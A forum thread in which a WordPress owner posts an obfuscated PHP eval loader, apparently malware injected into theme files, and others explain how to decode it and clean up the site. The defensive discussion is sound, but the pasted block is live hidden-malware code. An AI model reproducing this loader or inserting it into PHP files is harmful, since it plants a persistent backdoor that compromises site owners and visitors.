i found a script in my wordpress files index, header, footer
I dont’ know what this is doing. As i tried to remove it more then 10 times and its getting back..
Can anybody help decoding it?? or tell me where i can decode it ad see what is it doing..
its start with php error and then
@error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3VOFndX5EeNt1ZzkFcm5maWFlb0oET410WnNTWwZWc6xXT410WnNTWwZmbmZkT4xjWkNTUwVGNdVzWvV1Wc9WT2wlazcETn4iM1InZk4yJn4iInIiL1UjcmRiLn4SKiAkdX5Uc2dlT9pnRQZ3NwZGNVtVX8VlROxXV2YGbZZjZ4xkVPxWW1cGbExWZ8l1Sn9WT20kdmxWZ8l1Sn9WTL1UcqxWZ59mSn1GOadGc8kVXzkkWdxXUKxEPExGUn4iM1InZk4yJiciL1UjcmRiLn0TMpNHcksTKiciLyUTayZGJucSN3wVM1gHX2QTMcdzM4x1M1EDXzUDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ2gHXzQTMcJmN4x1N2EDX5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ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "x65144x6f154x70170x65";$eva1tYldakBcVSir = "x73164x72162x65166";$eva1tYldakBoVS1r = "x65143x61154x70145x72137x67145x72160";$eva1tYidokBoVSjr = "x3b51x29135x31133x72152x53126x63102x6b141x64151x59164x31141x76145x2450x65144x6f143x65144x5f64x36145x73141x6250x6c141x76145x4072x65166x61154x2842x5c61x2251x3b72x4050x2e53x29100x69145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "x73164x72x65143x72160164x72";$eva1tYlbakBcVSir = "x67141x6f133x70170x65";$eva1tYldakBoVS1r = "x65143x72160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;}
To find out what this does, use a text editor and command-line php. Extract individual strings and throw them at PHP to de-obfuscate them (just be careful not to
eval()
them before you know what that would do). This part, for example:…evaluates to ‘strrev’.
Once you’ve deciphered the ‘safe’ parts (those parts that merely assign string values to variables), you probably have an idea what the rest does. One of the other strings, for example, is ‘edolpxe’; combine that with
strrev
and you haveexplode
. I haven’t followed this all the way through, but if you do, you’ll be able to make some sense of it.In any case, take your site down until you have sorted it all out, and make sure you have a backup somewhere (ideally an uncompromised one). If you’re on shared hosting, you’ll also want to inform your hosting provider, in case this thing can spread to other sites on the same server.
I would
x73164x72x65143x72160164x72
“…) as it will lead you to forums where people have posted the same snippetTo clean it up, you could try WordPress Antivirus. It detects most of these by scanning md5 sums afaik.
Probably it’s some kind of virus. Usually is encoded Javascript which for example contain redirection to another page or stuff like that. Remove it and check your host for viruses too. If you host tihs site on some kind of hosting ask them to check instead of you. Like you said if you will just delete this piece of code you will not do much. It will be the same again soon.
It’s a very common thing in free WordPress themes nowadays. Please refer to this guide to see what you can do about it (and how you can prevent it)